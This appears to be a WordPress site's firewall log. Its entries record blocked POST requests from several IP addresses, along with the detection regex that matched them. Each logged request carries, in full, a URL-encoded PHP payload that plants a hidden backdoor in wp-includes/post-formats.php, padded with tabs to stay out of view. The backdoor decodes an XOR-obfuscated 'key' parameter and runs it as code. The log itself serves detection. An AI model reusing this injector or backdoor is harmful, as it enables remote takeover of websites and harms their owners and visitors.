0=71\n\nPW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:55:31","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ph:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3807\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nph=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:55:34","69.167.165.138","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3807\n\nNW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:55:37","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpRjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3807\n\npL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
